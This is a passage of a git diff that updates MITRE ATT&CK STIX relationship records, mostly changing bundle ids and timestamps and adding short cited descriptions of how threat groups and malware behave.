             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--97ff5931-f27f-4774-b595-312f5771f91a.json b/enterprise-attack/relationship/relationship--97ff5931-f27f-4774-b595-312f5771f91a.json
index 61684e3425..a71c5eb25f 100644
--- a/enterprise-attack/relationship/relationship--97ff5931-f27f-4774-b595-312f5771f91a.json
+++ b/enterprise-attack/relationship/relationship--97ff5931-f27f-4774-b595-312f5771f91a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--31edf523-31f3-4fe7-b4cc-15fbdb6f6839",
+    "id": "bundle--93901bbb-258c-4a07-a2f6-d822d0d1e935",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--97ff5931-f27f-4774-b595-312f5771f91a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SHIPSHAPE achieves persistence by creating a shortcut in the Startup folder.",
             "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a",
diff --git a/enterprise-attack/relationship/relationship--980e4dca-4d6b-4206-9c51-bff32c72a961.json b/enterprise-attack/relationship/relationship--980e4dca-4d6b-4206-9c51-bff32c72a961.json
index 4fb24a2070..2243e33ba5 100644
--- a/enterprise-attack/relationship/relationship--980e4dca-4d6b-4206-9c51-bff32c72a961.json
+++ b/enterprise-attack/relationship/relationship--980e4dca-4d6b-4206-9c51-bff32c72a961.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a5778772-5347-4076-9d4c-5f9e3ca724b3",
+    "id": "bundle--5c9722aa-af83-4efc-b3cc-02f2a54f05b7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--980e4dca-4d6b-4206-9c51-bff32c72a961",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "nbtstat can be used to discover current NetBIOS sessions.",
             "source_ref": "tool--b35068ec-107a-4266-bda8-eb7036267aea",
diff --git a/enterprise-attack/relationship/relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361.json b/enterprise-attack/relationship/relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361.json
index a1e9779a3d..e7bef2c4fe 100644
--- a/enterprise-attack/relationship/relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361.json
+++ b/enterprise-attack/relationship/relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b07a891c-6dd8-4531-8272-70cbc33f6878",
+    "id": "bundle--c6a9e0b0-8dd1-48c4-ae0c-fc4a104a5575",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.048Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "target_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--98229d5a-fce3-442e-91cf-7ec7b7994248.json b/enterprise-attack/relationship/relationship--98229d5a-fce3-442e-91cf-7ec7b7994248.json
index 537b54dd95..71c9b5e9cc 100644
--- a/enterprise-attack/relationship/relationship--98229d5a-fce3-442e-91cf-7ec7b7994248.json
+++ b/enterprise-attack/relationship/relationship--98229d5a-fce3-442e-91cf-7ec7b7994248.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--653d9b70-aa3e-4f4d-ba3b-fab622337a7c",
+    "id": "bundle--0f3c8795-02d4-4dc1-8329-d7e733b8cd8a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--98229d5a-fce3-442e-91cf-7ec7b7994248",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.072Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Following data collection, FIN6 has compressed log files into a ZIP archive prior to staging and exfiltration.",
             "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
diff --git a/enterprise-attack/relationship/relationship--982d9af7-45bb-4cc0-9819-aaadb3304783.json b/enterprise-attack/relationship/relationship--982d9af7-45bb-4cc0-9819-aaadb3304783.json
index 9d9c252f94..4bfeefbdd1 100644
--- a/enterprise-attack/relationship/relationship--982d9af7-45bb-4cc0-9819-aaadb3304783.json
+++ b/enterprise-attack/relationship/relationship--982d9af7-45bb-4cc0-9819-aaadb3304783.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cf119bdb-aa20-4dce-8343-1b1cb15a53e0",
+    "id": "bundle--70434f24-174e-44c7-94ac-25355e61eb06",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--982d9af7-45bb-4cc0-9819-aaadb3304783",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Lurid can compress data before sending it.",
             "source_ref": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
diff --git a/enterprise-attack/relationship/relationship--98852860-145c-40f0-86af-b32dd61fa008.json b/enterprise-attack/relationship/relationship--98852860-145c-40f0-86af-b32dd61fa008.json
new file mode 100644
index 0000000000..c5157c215a
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--98852860-145c-40f0-86af-b32dd61fa008.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b4ed1f65-6133-49f1-bd15-7d80a03c7365",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--98852860-145c-40f0-86af-b32dd61fa008",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT34 used the Plink utility and other tools to create tunnels to C2 servers.",
+            "source_ref": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
+            "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Webinar Dec 2017",
+                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
+                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--988cb889-b385-4e8f-be06-7d41c4da0dd7.json b/enterprise-attack/relationship/relationship--988cb889-b385-4e8f-be06-7d41c4da0dd7.json
index 4af414f5ad..8067418d0e 100644
--- a/enterprise-attack/relationship/relationship--988cb889-b385-4e8f-be06-7d41c4da0dd7.json
+++ b/enterprise-attack/relationship/relationship--988cb889-b385-4e8f-be06-7d41c4da0dd7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--430ed48a-5bac-454d-ae67-a7fe5fd55ad7",
+    "id": "bundle--f822de96-8e5d-4d5b-88fe-f70f68fe7a44",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--988cb889-b385-4e8f-be06-7d41c4da0dd7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "JHUHUGIT has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).",
             "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
diff --git a/enterprise-attack/relationship/relationship--98908617-068d-4b6e-bcba-ad213c137b1e.json b/enterprise-attack/relationship/relationship--98908617-068d-4b6e-bcba-ad213c137b1e.json
index 99b5d035f9..80c3756f60 100644
--- a/enterprise-attack/relationship/relationship--98908617-068d-4b6e-bcba-ad213c137b1e.json
+++ b/enterprise-attack/relationship/relationship--98908617-068d-4b6e-bcba-ad213c137b1e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--713bf5ad-a011-402b-b25a-aadd4fa40e6f",
+    "id": "bundle--e423f76d-1b77-4587-b63c-f82477906c7d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--98908617-068d-4b6e-bcba-ad213c137b1e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT32 has used scheduled tasks to persist on victim systems.",
             "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
diff --git a/enterprise-attack/relationship/relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a.json b/enterprise-attack/relationship/relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a.json
index f51dc0c39c..457bf83296 100644
--- a/enterprise-attack/relationship/relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a.json
+++ b/enterprise-attack/relationship/relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--def6be3f-2c3e-4d5d-a662-25b4c804938e",
+    "id": "bundle--c227c203-646d-42b0-9974-063d81ed464b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--98a9bef7-8aff-4cbb-958b-14cb72954b8a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZLib has the ability to execute shell commands.",
             "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31",
diff --git a/enterprise-attack/relationship/relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc.json b/enterprise-attack/relationship/relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc.json
index ab0abf5347..71b9a942e6 100644
--- a/enterprise-attack/relationship/relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc.json
+++ b/enterprise-attack/relationship/relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--189ad09a-1a9a-4c77-986a-81d0781bbf5f",
+    "id": "bundle--64131f91-1a87-4493-a4c2-57f9be381186",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Backdoor.Oldrea collects address book information from Outlook.",
             "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974",
diff --git a/enterprise-attack/relationship/relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9.json b/enterprise-attack/relationship/relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9.json
index 812f8e8b31..9d2913218d 100644
--- a/enterprise-attack/relationship/relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9.json
+++ b/enterprise-attack/relationship/relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9b60a9ad-ed91-421d-b788-fc12a9aa91b0",
+    "id": "bundle--bcc57036-341a-426d-9256-2f1c253d65a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--98aeed7c-e88b-4c5b-8e8e-21ee3534abe9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "H1N1 uses a custom packing algorithm.",
             "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
diff --git a/enterprise-attack/relationship/relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd.json b/enterprise-attack/relationship/relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd.json
index 11f4217976..e8f77e88e3 100644
--- a/enterprise-attack/relationship/relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd.json
+++ b/enterprise-attack/relationship/relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bb1712f6-6fed-461f-8c8a-895b6d99b971",
+    "id": "bundle--dcaef5cc-d24e-4ea1-a0d7-660556e7d16a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--98b7d901-4ede-451f-bab8-3b2b37c56bfd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A module in Prikormka collects information from the victim about installed anti-virus software.",
             "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
diff --git a/enterprise-attack/relationship/relationship--98bdcea2-1c8d-4a65-b75d-075a00d6e87c.json b/enterprise-attack/relationship/relationship--98bdcea2-1c8d-4a65-b75d-075a00d6e87c.json
index 7758e8aae9..843b805aac 100644
--- a/enterprise-attack/relationship/relationship--98bdcea2-1c8d-4a65-b75d-075a00d6e87c.json
+++ b/enterprise-attack/relationship/relationship--98bdcea2-1c8d-4a65-b75d-075a00d6e87c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bbd277e7-d038-4f79-b20e-ecd43354bf4d",
+    "id": "bundle--0dfdcc6e-315a-4c97-85f2-437dce91ca28",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--98bdcea2-1c8d-4a65-b75d-075a00d6e87c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.018Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40",
             "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
diff --git a/enterprise-attack/relationship/relationship--98c18956-03d7-49e5-93b2-44351682331d.json b/enterprise-attack/relationship/relationship--98c18956-03d7-49e5-93b2-44351682331d.json
index a10191a41d..757ef3900b 100644
--- a/enterprise-attack/relationship/relationship--98c18956-03d7-49e5-93b2-44351682331d.json
+++ b/enterprise-attack/relationship/relationship--98c18956-03d7-49e5-93b2-44351682331d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2e015c6f-c7e8-4464-9a66-df8e83756e77",
+    "id": "bundle--89a27ed5-e403-425b-80ab-a2d0d80b8838",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--98c18956-03d7-49e5-93b2-44351682331d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8c918d8a-11c5-4ffd-af10-e74bc06bdfae",
             "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5",
diff --git a/enterprise-attack/relationship/relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd.json b/enterprise-attack/relationship/relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd.json
new file mode 100644
index 0000000000..df79fc6db7
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--f465a435-8421-42aa-865f-8a989d1cf496",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--98d3455f-49cc-4539-ba35-4b11bec0ddcd",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "encrypts collected data with an incremental XOR key prior to exfiltration.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--991c16bd-c17b-479a-8f45-385467323c0a.json b/enterprise-attack/relationship/relationship--991c16bd-c17b-479a-8f45-385467323c0a.json
index 0ad242fbef..8767a68f7f 100644
--- a/enterprise-attack/relationship/relationship--991c16bd-c17b-479a-8f45-385467323c0a.json
+++ b/enterprise-attack/relationship/relationship--991c16bd-c17b-479a-8f45-385467323c0a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2915598d-8930-49cb-9255-4663b8e1f7de",
+    "id": "bundle--20b1e400-27e4-4e62-b907-8fe6188d3ad7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--991c16bd-c17b-479a-8f45-385467323c0a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "BACKSPACE allows adversaries to search for files.",
             "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
diff --git a/enterprise-attack/relationship/relationship--9952a93f-d009-48e5-a618-8e8f97a55685.json b/enterprise-attack/relationship/relationship--9952a93f-d009-48e5-a618-8e8f97a55685.json
index deebbfd918..c616dab051 100644
--- a/enterprise-attack/relationship/relationship--9952a93f-d009-48e5-a618-8e8f97a55685.json
+++ b/enterprise-attack/relationship/relationship--9952a93f-d009-48e5-a618-8e8f97a55685.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--8cec4a9f-2dc7-4c93-a40f-2eba00f146cf",
+    "id": "bundle--727bb442-a6d2-43f8-8aee-06618ec40fe1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9952a93f-d009-48e5-a618-8e8f97a55685",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf",
             "target_ref": "attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8",
diff --git a/enterprise-attack/relationship/relationship--99800503-d535-4fae-a318-dfa034dca663.json b/enterprise-attack/relationship/relationship--99800503-d535-4fae-a318-dfa034dca663.json
index 7a5fb7397c..b30c208b75 100644
--- a/enterprise-attack/relationship/relationship--99800503-d535-4fae-a318-dfa034dca663.json
+++ b/enterprise-attack/relationship/relationship--99800503-d535-4fae-a318-dfa034dca663.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d3947201-7106-4a2c-9768-2f537e3a5905",
+    "id": "bundle--5a69ce56-b982-4998-8725-6b286c5bd336",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--99800503-d535-4fae-a318-dfa034dca663",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
             "target_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
diff --git a/enterprise-attack/relationship/relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9.json b/enterprise-attack/relationship/relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9.json
new file mode 100644
index 0000000000..53b2237fe6
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9.json
@@ -0,0 +1,33 @@
+{
+    "type": "bundle",
+    "id": "bundle--dbc21d6c-8fca-4b85-93cf-e78dfcff23d6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--99c0cda4-91b1-4845-9891-9a4b89c128f9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools. ",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09",
+            "external_references": [
+                {
+                    "source_name": "FireEye Clandestine Fox",
+                    "description": "Chen, X., Scott, M., Caselden, D.. (2014, April 26). New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/04/new-zero-day-exploit-targeting-internet-explorer-versions-9-through-11-identified-in-targeted-attacks.html"
+                },
+                {
+                    "source_name": "FireEye Clandestine Fox Part 2",
+                    "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613.json b/enterprise-attack/relationship/relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613.json
new file mode 100644
index 0000000000..0c7f446c0e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--58b77b17-20cc-4a6d-bd88-e7f95439cdb6",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "BRONZE BUTLER has compressed data into password-protected RAR archives prior to exfiltration.",
+            "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90",
+            "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4",
+            "external_references": [
+                {
+                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
+                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
+                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a.json b/enterprise-attack/relationship/relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a.json
index 857f434963..44fbc7b666 100644
--- a/enterprise-attack/relationship/relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a.json
+++ b/enterprise-attack/relationship/relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a356f629-76fb-433c-9136-44c0a971c287",
+    "id": "bundle--79a46cd7-f5e8-4598-8a10-5bc396fddc52",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--9a05a8cc-8d3c-46a5-947e-bebed2ab1c5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL connects to port 80 of a C2 server using Wininet API.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
@@ -17,7 +17,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--9a286577-ccfc-4793-96ce-02c17dc0f4ae.json b/enterprise-attack/relationship/relationship--9a286577-ccfc-4793-96ce-02c17dc0f4ae.json
new file mode 100644
index 0000000000..2a4106f626
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--9a286577-ccfc-4793-96ce-02c17dc0f4ae.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--e98e5a85-2153-4e88-a996-f48386b75c29",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--9a286577-ccfc-4793-96ce-02c17dc0f4ae",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Cobalt Strike can perform pass the hash.",
+            "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39",
+            "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
+            "external_references": [
+                {
+                    "source_name": "Cobalt Strike TTPs Dec 2017",
+                    "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.",
+                    "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e.json b/enterprise-attack/relationship/relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e.json
index 8862779957..a5f15a2488 100644
--- a/enterprise-attack/relationship/relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e.json
+++ b/enterprise-attack/relationship/relationship--9a615c7f-986d-4769-bea6-af9ffe0d575e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e5aac0be-e5fc-47dc-99ea-cd9b32b8aa72",
+    "id": "bundle--6fec96cd-d24c-44aa-acc1-2e06c7d0744e",
